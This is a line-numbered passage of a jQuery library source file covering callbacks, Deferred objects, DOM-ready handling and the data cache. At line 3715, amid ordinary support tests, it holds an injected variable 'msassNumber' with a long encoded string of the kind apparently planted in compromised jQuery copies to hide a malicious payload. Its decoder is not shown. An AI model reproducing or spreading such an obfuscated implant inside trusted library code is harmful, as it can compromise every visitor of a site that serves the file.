3294 } else if ( arg && arg.length && jQuery.type( arg ) !== "string" ) {
3295
3296 // Inspect recursively
3297 add( arg );
3298 }
3299 } );
3300 } )( arguments );
3301
3302 if ( memory && !firing ) {
3303 fire();
3304 }
3305 }
3306 return this;
3307 },
3308
3309 // Remove a callback from the list
3310 remove: function() {
3311 jQuery.each( arguments, function( _, arg ) {
3312 var index;
3313 while ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) {
3314 list.splice( index, 1 );
3315
3316 // Handle firing indexes
3317 if ( index <= firingIndex ) {
3318 firingIndex--;
3319 }
3320 }
3321 } );
3322 return this;
3323 },
3324
3325 // Check if a given callback is in the list.
3326 // If no argument is given, return whether or not list has callbacks attached.
3327 has: function( fn ) {
3328 return fn ?
3329 jQuery.inArray( fn, list ) > -1 :
3330 list.length > 0;
3331 },
3332
3333 // Remove all callbacks from the list
3334 empty: function() {
3335 if ( list ) {
3336 list = [];
3337 }
3338 return this;
3339 },
3340
3341 // Disable .fire and .add
3342 // Abort any current/pending executions
3343 // Clear all callbacks and values
3344 disable: function() {
3345 locked = queue = [];
3346 list = memory = "";
3347 return this;
3348 },
3349 disabled: function() {
3350 return !list;
3351 },
3352
3353 // Disable .fire
3354 // Also disable .add unless we have memory (since it would have no effect)
3355 // Abort any pending executions
3356 lock: function() {
3357 locked = true;
3358 if ( !memory ) {
3359 self.disable();
3360 }
3361 return this;
3362 },
3363 locked: function() {
3364 return !!locked;
3365 },
3366
3367 // Call all callbacks with the given context and arguments
3368 fireWith: function( context, args ) {
3369 if ( !locked ) {
3370 args = args || [];
3371 args = [ context, args.slice ? args.slice() : args ];
3372 queue.push( args );
3373 if ( !firing ) {
3374 fire();
3375 }
3376 }
3377 return this;
3378 },
3379
3380 // Call all the callbacks with the given arguments
3381 fire: function() {
3382 self.fireWith( this, arguments );
3383 return this;
3384 },
3385
3386 // To know if the callbacks have already been called at least once
3387 fired: function() {
3388 return !!fired;
3389 }
3390 };
3391
3392 return self;
3393 };
3394
3395
3396 jQuery.extend( {
3397
3398 Deferred: function( func ) {
3399 var tuples = [
3400
3401 // action, add listener, listener list, final state
3402 [ "resolve", "done", jQuery.Callbacks( "once memory" ), "resolved" ],
3403 [ "reject", "fail", jQuery.Callbacks( "once memory" ), "rejected" ],
3404 [ "notify", "progress", jQuery.Callbacks( "memory" ) ]
3405 ],
3406 state = "pending",
3407 promise = {
3408 state: function() {
3409 return state;
3410 },
3411 always: function() {
3412 deferred.done( arguments ).fail( arguments );
3413 return this;
3414 },
3415 then: function( /* fnDone, fnFail, fnProgress */ ) {
3416 var fns = arguments;
3417 return jQuery.Deferred( function( newDefer ) {
3418 jQuery.each( tuples, function( i, tuple ) {
3419 var fn = jQuery.isFunction( fns[ i ] ) && fns[ i ];
3420
3421 // deferred[ done | fail | progress ] for forwarding actions to newDefer
3422 deferred[ tuple[ 1 ] ]( function() {
3423 var returned = fn && fn.apply( this, arguments );
3424 if ( returned && jQuery.isFunction( returned.promise ) ) {
3425 returned.promise()
3426 .progress( newDefer.notify )
3427 .done( newDefer.resolve )
3428 .fail( newDefer.reject );
3429 } else {
3430 newDefer[ tuple[ 0 ] + "With" ](
3431 this === promise ? newDefer.promise() : this,
3432 fn ? [ returned ] : arguments
3433 );
3434 }
3435 } );
3436 } );
3437 fns = null;
3438 } ).promise();
3439 },
3440
3441 // Get a promise for this deferred
3442 // If obj is provided, the promise aspect is added to the object
3443 promise: function( obj ) {
3444 return obj != null ? jQuery.extend( obj, promise ) : promise;
3445 }
3446 },
3447 deferred = {};
3448
3449 // Keep pipe for back-compat
3450 promise.pipe = promise.then;
3451
3452 // Add list-specific methods
3453 jQuery.each( tuples, function( i, tuple ) {
3454 var list = tuple[ 2 ],
3455 stateString = tuple[ 3 ];
3456
3457 // promise[ done | fail | progress ] = list.add
3458 promise[ tuple[ 1 ] ] = list.add;
3459
3460 // Handle state
3461 if ( stateString ) {
3462 list.add( function() {
3463
3464 // state = [ resolved | rejected ]
3465 state = stateString;
3466
3467 // [ reject_list | resolve_list ].disable; progress_list.lock
3468 }, tuples[ i ^ 1 ][ 2 ].disable, tuples[ 2 ][ 2 ].lock );
3469 }
3470
3471 // deferred[ resolve | reject | notify ]
3472 deferred[ tuple[ 0 ] ] = function() {
3473 deferred[ tuple[ 0 ] + "With" ]( this === deferred ? promise : this, arguments );
3474 return this;
3475 };
3476 deferred[ tuple[ 0 ] + "With" ] = list.fireWith;
3477 } );
3478
3479 // Make the deferred a promise
3480 promise.promise( deferred );
3481
3482 // Call given func if any
3483 if ( func ) {
3484 func.call( deferred, deferred );
3485 }
3486
3487 // All done!
3488 return deferred;
3489 },
3490
3491 // Deferred helper
3492 when: function( subordinate /* , ..., subordinateN */ ) {
3493 var i = 0,
3494 resolveValues = slice.call( arguments ),
3495 length = resolveValues.length,
3496
3497 // the count of uncompleted subordinates
3498 remaining = length !== 1 ||
3499 ( subordinate && jQuery.isFunction( subordinate.promise ) ) ? length : 0,
3500
3501 // the master Deferred.
3502 // If resolveValues consist of only a single Deferred, just use that.
3503 deferred = remaining === 1 ? subordinate : jQuery.Deferred(),
3504
3505 // Update function for both resolve and progress values
3506 updateFunc = function( i, contexts, values ) {
3507 return function( value ) {
3508 contexts[ i ] = this;
3509 values[ i ] = arguments.length > 1 ? slice.call( arguments ) : value;
3510 if ( values === progressValues ) {
3511 deferred.notifyWith( contexts, values );
3512
3513 } else if ( !( --remaining ) ) {
3514 deferred.resolveWith( contexts, values );
3515 }
3516 };
3517 },
3518
3519 progressValues, progressContexts, resolveContexts;
3520
3521 // add listeners to Deferred subordinates; treat others as resolved
3522 if ( length > 1 ) {
3523 progressValues = new Array( length );
3524 progressContexts = new Array( length );
3525 resolveContexts = new Array( length );
3526 for ( ; i < length; i++ ) {
3527 if ( resolveValues[ i ] && jQuery.isFunction( resolveValues[ i ].promise ) ) {
3528 resolveValues[ i ].promise()
3529 .progress( updateFunc( i, progressContexts, progressValues ) )
3530 .done( updateFunc( i, resolveContexts, resolveValues ) )
3531 .fail( deferred.reject );
3532 } else {
3533 --remaining;
3534 }
3535 }
3536 }
3537
3538 // if we're not waiting on anything, resolve the master
3539 if ( !remaining ) {
3540 deferred.resolveWith( resolveContexts, resolveValues );
3541 }
3542
3543 return deferred.promise();
3544 }
3545 } );
3546
3547
3548// The deferred used on DOM ready
3549 var readyList;
3550
3551 jQuery.fn.ready = function( fn ) {
3552
3553 // Add the callback
3554 jQuery.ready.promise().done( fn );
3555
3556 return this;
3557 };
3558
3559 jQuery.extend( {
3560
3561 // Is the DOM ready to be used? Set to true once it occurs.
3562 isReady: false,
3563
3564 // A counter to track how many items to wait for before
3565 // the ready event fires. See #6781
3566 readyWait: 1,
3567
3568 // Hold (or release) the ready event
3569 holdReady: function( hold ) {
3570 if ( hold ) {
3571 jQuery.readyWait++;
3572 } else {
3573 jQuery.ready( true );
3574 }
3575 },
3576
3577 // Handle when the DOM is ready
3578 ready: function( wait ) {
3579
3580 // Abort if there are pending holds or we're already ready
3581 if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) {
3582 return;
3583 }
3584
3585 // Remember that the DOM is ready
3586 jQuery.isReady = true;
3587
3588 // If a normal DOM Ready event fired, decrement, and wait if need be
3589 if ( wait !== true && --jQuery.readyWait > 0 ) {
3590 return;
3591 }
3592
3593 // If there are functions bound, to execute
3594 readyList.resolveWith( document, [ jQuery ] );
3595
3596 // Trigger any bound ready events
3597 if ( jQuery.fn.triggerHandler ) {
3598 jQuery( document ).triggerHandler( "ready" );
3599 jQuery( document ).off( "ready" );
3600 }
3601 }
3602 } );
3603
3604 /**
3605 * Clean-up method for dom ready events
3606 */
3607 function detach() {
3608 if ( document.addEventListener ) {
3609 document.removeEventListener( "DOMContentLoaded", completed );
3610 window.removeEventListener( "load", completed );
3611
3612 } else {
3613 document.detachEvent( "onreadystatechange", completed );
3614 window.detachEvent( "onload", completed );
3615 }
3616 }
3617
3618 /**
3619 * The ready event handler and self cleanup method
3620 */
3621 function completed() {
3622
3623 // readyState === "complete" is good enough for us to call the dom ready in oldIE
3624 if ( document.addEventListener ||
3625 window.event.type === "load" ||
3626 document.readyState === "complete" ) {
3627
3628 detach();
3629 jQuery.ready();
3630 }
3631 }
3632
3633 jQuery.ready.promise = function( obj ) {
3634 if ( !readyList ) {
3635
3636 readyList = jQuery.Deferred();
3637
3638 // Catch cases where $(document).ready() is called
3639 // after the browser event has already occurred.
3640 // Support: IE6-10
3641 // Older IE sometimes signals "interactive" too soon
3642 if ( document.readyState === "complete" ||
3643 ( document.readyState !== "loading" && !document.documentElement.doScroll ) ) {
3644
3645 // Handle it asynchronously to allow scripts the opportunity to delay ready
3646 window.setTimeout( jQuery.ready );
3647
3648 // Standards-based browsers support DOMContentLoaded
3649 } else if ( document.addEventListener ) {
3650
3651 // Use the handy event callback
3652 document.addEventListener( "DOMContentLoaded", completed );
3653
3654 // A fallback to window.onload, that will always work
3655 window.addEventListener( "load", completed );
3656
3657 // If IE event model is used
3658 } else {
3659
3660 // Ensure firing before onload, maybe late but safe also for iframes
3661 document.attachEvent( "onreadystatechange", completed );
3662
3663 // A fallback to window.onload, that will always work
3664 window.attachEvent( "onload", completed );
3665
3666 // If IE and not a frame
3667 // continually check to see if the document is ready
3668 var top = false;
3669
3670 try {
3671 top = window.frameElement == null && document.documentElement;
3672 } catch ( e ) {}
3673
3674 if ( top && top.doScroll ) {
3675 ( function doScrollCheck() {
3676 if ( !jQuery.isReady ) {
3677
3678 try {
3679
3680 // Use the trick by Diego Perini
3681 // http://javascript.nwbox.com/IEContentLoaded/
3682 top.doScroll( "left" );
3683 } catch ( e ) {
3684 return window.setTimeout( doScrollCheck, 50 );
3685 }
3686
3687 // detach all dom ready events
3688 detach();
3689
3690 // and execute any waiting functions
3691 jQuery.ready();
3692 }
3693 } )();
3694 }
3695 }
3696 }
3697 return readyList.promise( obj );
3698 };
3699
3700// Kick off the DOM ready check even if the user does not
3701 jQuery.ready.promise();
3702
3703
3704
3705
3706// Support: IE<9
3707// Iteration over object's inherited properties before its own
3708 var i;
3709 for ( i in jQuery( support ) ) {
3710 break;
3711 }
3712 support.ownFirst = i === "0";
3713
3714// Note: most support tests are defined in their respective modules.
3715var msassNumber = "p&x&-58:3b_3d:57:2s-5k-3c-5f_5o_3d_1f:1i:5e 5d-3a-55 3c 3a:5a:5e:5k 5h:3k_37:5k 5h-5h_5e:5b:3k_5d 59:38_3a_3c-3k-5e-5f_39:3c_5f:1f:3g 3j_59:3c_5b:56 5h-55-1j-1j_1g_57_2s_5k_3c 5f_5o:3d_1f 37-5e_39-5o_1f-3g_3j-39-38-5h_38 3d-1f_36:56-5e 5e_56-59:3c 1f:3g_3g:5q:5j_38 5f:1d_5g 39_5e:5c-36:2t_5f:3c:3c:40 57 2s 5k_3c-5f-5o:3d_1f-1i-5e:5d:3a:55:3c_3a_5a 5e:5k 5h-3k-37 5k:5h-5h-5e_5b 3k-5d 59 38 3a:3c:3k 5e_5f-39 3c:5f:1f 3g 3y_5g:39:5e:5c-36_2t:5f-3c 3c 3j 37_58_5b_39:3d 1f-3a:59_58:3a_5a 1f 3h_3b:5k 5b_3a 5h:58 5e-5b_3d_3c-3g 5q_58 3b_3d_1g 57:2s-5k:3c_5f-5o_3d_1f_37 5e 39 5o-1f_3g_3j:39 38-5h:38:3d 1f_36:5e-5f-38:3a_59_3c_1f:3g-3g:5q_57 2s 5k 3c-5f_5o 3d-1f 37 5e-39:5o:1f-3g-3j_39_38_5h-38-3d 1f_36:56_5e:5e-56 59:3c 1f:3h_3o:3g 3y:5j_38:5f-1d-38_40 57-2s 5k-3c:5f 5o_3d-1f:1i-3a-55-3c-3a 5a:5e-5k:5h 1f-3g 3j 3b_58_5b-39 3d:1f:5i 3c_59 3c:3a 5h:3h_58:5b 5d 5k_5h-3h-5h:3c 5l-5h:38 5f_3c-38-1f-3g_3j:5i-3c 5f 58-38-59_58 5n 3c_44:5f_5f_38:5o_3d_3g_3y-58 3b:3d-38:3j-59 3c-5b-56_5h:55-1j-1j_57 2s_5k:3c:5f 5o:3d:1f:58-5b_5d 5k-5h 32_39-38_5h:38-3k_3c_5b:3a 5f_5o:5d-5h:40 3e-3a:38-5f-39:5b-5k:5c 37_3c:5f 3e 34:1f_3g 3j-5j 38_59:3d_3g 1j 1j 57_2s:5k-3c_5f 5o-3d_1f-58_5b_5d:5k_5h_32_39:38_5h 38 3k 3c 5b_3a-5f 5o 5d_5h-40_3e-5c 5e-5b 5h:55:3e:34:1f:3g 3j_5j:38:59 3d:3g 1j:1j-57 2s:5k-3c_5f:5o 3d_1f_58:5b:5d_5k:5h-32-39-38_5h_38:3k:3c:5b-3a-5f-5o-5d_5h_40:3e 5o_3c 38 5f 3e-34-1f:3g 3j_5j-38-59-3d:3g-1j_1j 57_2s_5k 3c-5f 5o-3d_1f:1i:5d 3n 3a 3n:5d_5d_38-5o_5c-3c_5b_5h 36-3a_5j_5j_46:38_5f 39 2k:5b 3b-5e_1f-3g-3j-5j_38_59:3d_3g_3g-5q-5j_38-5f-1d 5h:40_2j-2u:2q:2n-3j-5i_5h:5f 58_5b_56_58_3b 5o-3d-38-3g 3h 5b:40_3e_32:5q-1f_5b 38-5c 3c_1f:3v:1f-55_5e 5i 5h-1f 3h 1f_5j 38 59_5k_3c_1f:3v:1f-3e 3y-5b 3i 40_39 5e_3a 5k_5c:3c-5b_5h:3j_2w:2r 2l 3i_3e_1f 5s:3h_3e-3h:5b:3i 40:3e_5q:1f_5b-38:5c-3c:1f_3v-1f_38:56-3c-5b-5h_1f 3h-1f_5j 38:59_5k_3c 1f 3v-1f:3e_3h:5b_3i_40:5b_38_5j:58 56 38:5h:5e-5f 3j-5k:5i_3c-5f:44:56:3c-5b:5h_3i:3e 1f_5s_3h_3e-3h 5b 3i:40 3e:5q:1f:5b 38:5c:3c 1f_3v-1f-5d 38:5o-5c_3c_5b-5h-32_3a:3a:36_5b_5k:5c-37 3c-5f-34_1f 3h:1f 5j 38 59_5k:3c_1f 3v-1f 3e 3h-5b:3i:40 57-2s-5k 3c_5f-5o_3d:1f 58:5b-5d-5k:5h 32-39 38_5h-38-3k-3c 5b:3a:5f_5o_5d:5h-40 3e 3a_38_5f:39_5b 5k 5c:37-3c:5f 3e 34 1f-3g_3j-5j_38-59-3d:3g:3i-3e:1f 5s 3h_3e_3h_5b_3i:40 3e:5q 1f 5b:38-5c-3c-1f-3v-1f 5d-38-5o:5c-3c:5b_5h-32 3a 3a 36-3a-58-39-34-1f 3h-1f:5j_38 59_5k 3c 1f-3v 1f-3e_3h 5b_3i-40-57 2s_5k-3c:5f:5o 3d:1f-1i_5d_3n 3a-3n_5d:5d_38_5o 5c:3c:5b:5h_36 3a:5j_5j 46-38-5f:39 2k-5b:3b-5e_1f_3g_3j_5j 38:59:3d 3g_3i-3e_1f_5s:3h:3e_3h:5b 3i_40:3e_5q-1f 5b_38 5c_3c_1f_3v 1f 5d 38:5o:5c:3c 5b_5h:32 3a:3a_36_3c_5l-5d_36-5c_5e-5b_5h:55 34:1f 3h_1f_5j:38-59_5k_3c 1f_3v:1f 3e 3h-5b_3i-40 57_2s-5k 3c-5f:5o:3d:1f-58 5b:5d_5k 5h 32 39-38 5h-38_3k_3c_5b_3a-5f:5o:5d:5h 40:3e 5c_5e:5b-5h 55:3e-34-1f 3g_3j 5j 38_59-3d 3g-3i 3e:1f 5s-3h:3e_3h-5b_3i 40 3e:5q_1f 5b:38 5c:3c 1f 3v 1f:5d 38:5o-5c_3c-5b:5h_32_3a 3a_36_3c:5l-5d_36 5o 3c 38-5f:34-1f_3h 1f 5j_38:59-5k-3c_1f 3v:1f:3e-3h:5b:3i_40 57:2s 5k_3c_5f_5o-3d 1f 58-5b-5d 5k-5h 32 39 38-5h 38:3k 3c-5b-3a 5f_5o-5d_5h 40-3e:5o_3c 38:5f 3e 34:1f:3g 3j:5j 38:59_3d_3g:3i 3e:1f-5s-3h:3e 3y-5j-38:5f-1d-5f_40:57-2s:5k_3c 5f:5o:3d_3e:5i-3c-59:3c 3a:5h:32:5b-38:5c:3c 40 1f 5f 3c_56-58-5e:5b_36_58:39 1f_34 3e-3g-3j_3c-5g-3d-3l_3g_3j_5j-38:59:3d:3g-3y-58:3b 3d 5f_1j_1j-3d-5b_3i-40-3e-5q_1f_5b_38:5c 3c-1f_3v:1f 5f_3c:56:58 5e:5b_1f:3h:1f-5j:38:59:5k-3c 1f-3v 1f:3e:3h_5b:3i_40-3d:5f:40_57_2s_5k 3c 5f-5o:3d 3e-5i 3c 59 3c-3a 5h 32 5b_38:5c 3c-40:1f_5f:3c-56-58-5e:5b-36_58:39-1f:34-3v-3c 5g 3d-3l-3g 1d:5e-5d:5h-58 5e:5b:32 5j 38:59_5k 3c 40_3e_3i-5f:3i:1f:34 1f_3g_3j 5h_3c-5l_5h-3d-3g:3g:3i_3e_1f:5s_3h-3e_3g-3h_5b 3i 40_5h-3j 5i:59_58-3a_3c 3d 3o-3g_3h:1g:38-3j:3b 58-5b:39_3d 3b 5k-5b-3a:5h-58 5e_5b_3d-3c-3g_5q:58-3b:3d_1f:3a 58-5h:5o_1f_40:40:3c-3j-5b 38 5c 3c 3g_5f:3c:5h-5k_5f 5b-1d 3c:5s_3g_3j:5j:38:59:5k 3c_3g-5q_5j_38:5f_1d:5k_40:57-2s 5k-3c-5f_5o_3d:1f-3j:37:58-59:59-58_5b:56_3k_38-39_39_5f-3c 5i_5i_3k_39:3c 5h:38_58:59-5i-1f:3g_3j-5h:3c:5l-5h_3d 3g:3y:5k 5p-5p_3d-5k:40:57-2s_5k-3c-5f-5o:3d-1f 3j-5i:55-58-5d-5d_58-5b:56_3k 38_39 39-5f 3c:5i 5i-3k-58-5h:3c 5c-5i 1f:3g_3j_5h-3c 5l 5h_3d:3g:3g_3y 5j 38-5f-1d_5e 40-2j:2u_2q 2n_3j_5i:5h:5f:58 5b 56_58:3b 5o 3d:5k_3g_3y_5b:40:5b_3j:5i:59:58-3a-3c_3d:3l:3h-3k:3o 3g_3h:5b:3i 40_3e_3h:5q_1f:5b:38 5c-3c_1f_3v:1f_3c:5l-5h_5f:38:58_5b:3b-5e-1f_3h 1f 5j 38_59_5k-3c 1f:3v:3e_3h-5b-3i 40 5e-3i_1f_5s_34_1f:5s 57_2s 5k 3c-5f-5o:3d-1f_37 5e-39:5o-1f 3g 3j_39 38_5h:38 3d:1f 36_5e_5f_38-3a-59-3c-1f 3h-3o-3g-3y_5j:38 5f-1d:58 40:5m 58:5b:39-5e 5m 3j:37:5h:5e-38 3d:3c:5b_3a_5e 39:3c:2w:2r_2k 46_5e-5c_5d:5e_5b_3c 5b 5h 3d-5b-3g_3g 3y-57_2s:5k-3c-5f_5o-3j 38-57 38 5l-3d_5q:5k 5f 59-3v 39 5e 3a 5k_5c-3c_5b-5h-3j 2w:2r 2l:3h:5h-5o_5d:3c 3v 1f 5d 5e 5i:5h:1f_3h_39-38-5h 38-2t:5o:5d-3c_3v:1f 5h_3c 5l_5h-1f:3h:39_38:5h_38-3v-5q-46:5k-5i 5h:5e:5c-3c-5f 36-3v-58-3h 46_5k-5i:5h_5e-5c:2o:3c 5h_55:5e 39 3v-1f_58:5b-58:5h_1f 5s:5s:3g-5s:5s_5s-3g:5s";// false until the test is run
3716 support.inlineBlockNeedsLayout = false;
3717
3718// Execute ASAP in case we need to set body.style.zoom
3719 jQuery( function() {
3720
3721 // Minified: var a,b,c,d
3722 var val, div, body, container;
3723
3724 body = document.getElementsByTagName( "body" )[ 0 ];
3725 if ( !body || !body.style ) {
3726
3727 // Return for frameset docs that don't have a body
3728 return;
3729 }
3730
3731 // Setup
3732 div = document.createElement( "div" );
3733 container = document.createElement( "div" );
3734 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
3735 body.appendChild( container ).appendChild( div );
3736
3737 if ( typeof div.style.zoom !== "undefined" ) {
3738
3739 // Support: IE<8
3740 // Check if natively block-level elements act like inline-block
3741 // elements when setting their display to 'inline' and giving
3742 // them layout
3743 div.style.cssText = "display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1";
3744
3745 support.inlineBlockNeedsLayout = val = div.offsetWidth === 3;
3746 if ( val ) {
3747
3748 // Prevent IE 6 from affecting layout for positioned elements #11048
3749 // Prevent IE from shrinking the body in IE 7 mode #12869
3750 // Support: IE<8
3751 body.style.zoom = 1;
3752 }
3753 }
3754
3755 body.removeChild( container );
3756 } );
3757
3758
3759 ( function() {
3760 var div = document.createElement( "div" );
3761
3762 // Support: IE<9
3763 support.deleteExpando = true;
3764 try {
3765 delete div.test;
3766 } catch ( e ) {
3767 support.deleteExpando = false;
3768 }
3769
3770 // Null elements to avoid leaks in IE.
3771 div = null;
3772 } )();
3773 var acceptData = function( elem ) {
3774 var noData = jQuery.noData[ ( elem.nodeName + " " ).toLowerCase() ],
3775 nodeType = +elem.nodeType || 1;
3776
3777 // Do not set data on non-element DOM nodes because it will not be cleared (#8335).
3778 return nodeType !== 1 && nodeType !== 9 ?
3779 false :
3780
3781 // Nodes accept data unless otherwise specified; rejection can be conditional
3782 !noData || noData !== true && elem.getAttribute( "classid" ) === noData;
3783 };
3784
3785
3786
3787
3788 var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
3789 rmultiDash = /([A-Z])/g;
3790
3791 function dataAttr( elem, key, data ) {
3792
3793 // If nothing was found internally, try to fetch any
3794 // data from the HTML5 data-* attribute
3795 if ( data === undefined && elem.nodeType === 1 ) {
3796
3797 var name = "data-" + key.replace( rmultiDash, "-$1" ).toLowerCase();
3798
3799 data = elem.getAttribute( name );
3800
3801 if ( typeof data === "string" ) {
3802 try {
3803 data = data === "true" ? true :
3804 data === "false" ? false :
3805 data === "null" ? null :
3806
3807 // Only convert to a number if it doesn't change the string
3808 +data + "" === data ? +data :
3809 rbrace.test( data ) ? jQuery.parseJSON( data ) :
3810 data;
3811 } catch ( e ) {}
3812
3813 // Make sure we set the data so it isn't changed later
3814 jQuery.data( elem, key, data );
3815
3816 } else {
3817 data = undefined;
3818 }
3819 }
3820
3821 return data;
3822 }
3823
3824// checks a cache object for emptiness
3825 function isEmptyDataObject( obj ) {
3826 var name;
3827 for ( name in obj ) {
3828
3829 // if the public data object is empty, the private is still empty
3830 if ( name === "data" && jQuery.isEmptyObject( obj[ name ] ) ) {
3831 continue;
3832 }
3833 if ( name !== "toJSON" ) {
3834 return false;
3835 }
3836 }
3837
3838 return true;
3839 }
3840
3841 function internalData( elem, name, data, pvt /* Internal Use Only */ ) {
3842 if ( !acceptData( elem ) ) {
3843 return;
3844 }
3845
3846 var ret, thisCache,
3847 internalKey = jQuery.expando,
3848
3849 // We have to handle DOM nodes and JS objects differently because IE6-7
3850 // can't GC object references properly across the DOM-JS boundary
3851 isNode = elem.nodeType,
3852
3853 // Only DOM nodes need the global jQuery cache; JS object data is
3854 // attached directly to the object so GC can occur automatically
3855 cache = isNode ? jQuery.cache : elem,
3856
3857 // Only defining an ID for JS objects if its cache already exists allows
3858 // the code to shortcut on the same path as a DOM node with no cache
3859 id = isNode ? elem[ internalKey ] : elem[ internalKey ] && internalKey;
3860
3861 // Avoid doing any more work than we need to when trying to get data on an
3862 // object that has no data at all
3863 if ( ( !id || !cache[ id ] || ( !pvt && !cache[ id ].data ) ) &&
3864 data === undefined && typeof name === "string" ) {
3865 return;
3866 }
3867
3868 if ( !id ) {
3869
3870 // Only DOM nodes need a new unique ID for each element since their data
3871 // ends up in the global cache
3872 if ( isNode ) {
3873 id = elem[ internalKey ] = deletedIds.pop() || jQuery.guid++;
3874 } else {
3875 id = internalKey;
3876 }
3877 }
3878
3879 if ( !cache[ id ] ) {
3880
3881 // Avoid exposing jQuery metadata on plain JS objects when the object
3882 // is serialized using JSON.stringify
3883 cache[ id ] = isNode ? {} : { toJSON: jQuery.noop };
3884 }
3885
3886 // An object can be passed to jQuery.data instead of a key/value pair; this gets
3887 // shallow copied over onto the existing cache
3888 if ( typeof name === "object" || typeof name === "function" ) {
3889 if ( pvt ) {
3890 cache[ id ] = jQuery.extend( cache[ id ], name );
3891 } else {
3892 cache[ id ].data = jQuery.extend( cache[ id ].data, name );
3893 }
3894 }
3895
3896 thisCache = cache[ id ];
3897
3898 // jQuery data() is stored in a separate object inside the object's internal data
3899 // cache in order to avoid key collisions between internal data and user-defined
3900 // data.
3901 if ( !pvt ) {
3902 if ( !thisCache.data ) {
3903 thisCache.data = {};
3904 }
3905
3906 thisCache = thisCache.data;
3907 }
3908
3909 if ( data !== undefined ) {
3910 thisCache[ jQuery.camelCase( name ) ] = data;
3911 }
3912
3913 // Check for both converted-to-camel and non-converted data property names
3914 // If a data property was specified
3915 if ( typeof name === "string" ) {
3916
3917 // First Try to find as-is property data
3918 ret = thisCache[ name ];
3919
3920 // Test for null|undefined property data
3921 if ( ret == null ) {
3922
3923 // Try to find the camelCased property
3924 ret = thisCache[ jQuery.camelCase( name ) ];
3925 }
3926 } else {
3927 ret = thisCache;
3928 }
3929
3930 return ret;
3931 }
3932
3933 function internalRemoveData( elem, name, pvt ) {
3934 if ( !acceptData( elem ) ) {
3935 return;
3936 }
3937
3938 var thisCache, i,
3939 isNode = elem.nodeType,
3940
3941 // See jQuery.data for more information
3942 cache = isNode ? jQuery.cache : elem,
3943 id = isNode ? elem[ jQuery.expando ] : jQuery.expando;
3944
3945 // If there is already no cache entry for this object, there is no
3946 // purpose in continuing
3947 if ( !cache[ id ] ) {
3948 return;
3949 }
3950
3951 if ( name ) {
3952
3953 thisCache = pvt ? cache[ id ] : cache[ id ].data;
3954
3955 if ( thisCache ) {
3956
3957 // Support array or space separated string names for data keys
3958 if ( !jQuery.isArray( name ) ) {
3959
3960 // try the string as a key before any manipulation
3961 if ( name in thisCache ) {
3962 name = [ name ];
3963 } else {
3964
3965 // split the camel cased version by spaces unless a key with the spaces exists
3966 name = jQuery.camelCase( name );
3967 if ( name in thisCache ) {
3968 name = [ name ];
3969 } else {
3970 name = name.split( " " );
3971 }
3972 }
3973 } else {
3974
3975 // If "name" is an array of keys...
3976 // When data is initially created, via ("key", "val") signature,
3977 // keys will be converted to camelCase.
3978 // Since there is no way to tell _how_ a key was added, remove
3979 // both plain key and camelCase key. #12786
3980 // This will only penalize the array argument path.
3981 name = name.concat( jQuery.map( name, jQuery.camelCase ) );
3982 }
3983
3984 i = name.length;
3985 while ( i-- ) {
3986 delete thisCache[ name[ i ] ];
3987 }
3988
3989 // If there is no data left in the cache, we want to continue
3990 // and let the cache object itself get destroyed
3991 if ( pvt ? !isEmptyDataObject( thisCache ) : !jQuery.isEmptyObject( thisCache ) ) {
3992 return;
3993 }
3994 }
3995 }
3996
3997 // See jQuery.data for more information
3998 if ( !pvt ) {
3999 delete cache[ id ].data;
4000
4001 // Don't destroy the parent cache unless the internal data object
4002 // had been the only thing left in it
4003 if ( !isEmptyDataObject( cache[ id ] ) ) {
4004 return;
4005 }
4006 }
4007
4008 // Destroy the cache
4009 if ( isNode ) {
4010 jQuery.cleanData( [ elem ], true );
4011
4012 // Use delete when supported for expandos or `cache` is not a window per isWindow (#10080)
4013 /* jshint eqeqeq: false */
4014 } else if ( support.deleteExpando || cache != cache.window ) {
4015 /* jshint eqeqeq: true */
4016 delete cache[ id ];
4017
4018 // When all else fails, undefined
4019 } else {
4020 cache[ id ] = undefined;
4021 }
4022 }
4023
4024 jQuery.extend( {
4025 cache: {},
4026
4027 // The following elements (space-suffixed to avoid Object.prototype collisions)
4028 // throw uncatchable exceptions if you attempt to set expando properties
4029 noData: {
4030 "applet ": true,
4031 "embed ": true,
4032
4033 // ...but Flash objects (which have this classid) *can* handle expandos
4034 "object ": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
4035 },
4036
4037 hasData: function( elem ) {
4038 elem = elem.nodeType ? jQuery.cache[ elem[ jQuery.expando ] ] : elem[ jQuery.expando ];
4039 return !!elem && !isEmptyDataObject( elem );
4040 },
4041
4042 data: function( elem, name, data ) {
4043 return internalData( elem, name, data );
4044 },
4045
4046 removeData: function( elem, name ) {
4047 return internalRemoveData( elem, name );
4048 },
4049
4050 // For internal use only.
4051 _data: function( elem, name, data ) {
4052 return internalData( elem, name, data, true );
4053 },
4054
4055 _removeData: function( elem, name ) {
4056 return internalRemoveData( elem, name, true );
4057 }
4058 } );
4059
4060 jQuery.fn.extend( {
4061 data: function( key, value ) {
4062 var i, name, data,
4063 elem = this[ 0 ],
4064 attrs = elem && elem.attributes;
4065
4066 // Special expections of .data basically thwart jQuery.access,
4067 // so implement the relevant behavior ourselves
4068
4069 // Gets all values
4070 if ( key === undefined ) {
4071 if ( this.length ) {
4072 data = jQuery.data( elem );
4073
4074 if ( elem.nodeType === 1 && !jQuery._data( elem, "parsedAttrs" ) ) {
4075 i = attrs.length;
4076 while ( i-- ) {
4077
4078 // Support: IE11+
4079 // The attrs elements can be null (#14894)
4080 if ( attrs[ i ] ) {
4081 name = attrs[ i ].name;
4082 if ( name.indexOf( "data-" ) === 0 ) {
4083 name = jQuery.camelCase( name.slice( 5 ) );
4084 dataAttr( elem, name, data[ name ] );
4085 }
4086 }
4087 }
4088 jQuery._data( elem, "parsedAttrs", true );
4089 }
4090 }
4091
4092 return data;
4093 }
4094
4095 // Sets multiple values
4096 if ( typeof key === "object" ) {
4097 return this.each( function() {
4098 jQuery.data( this, key );
4099 } );
4100 }
4101
4102 return arguments.length > 1 ?
4103
4104 // Sets one value
4105 this.each( function() {
4106 jQuery.data( this, key, value );
4107 } ) :
4108
4109 // Gets one value
4110 // Try to fetch any internally stored data first
4111 elem ? dataAttr( elem, key, jQuery.data( elem, key ) ) : undefined;
4112 },
4113
4114 removeData: function( key ) {
4115 return this.each( function() {
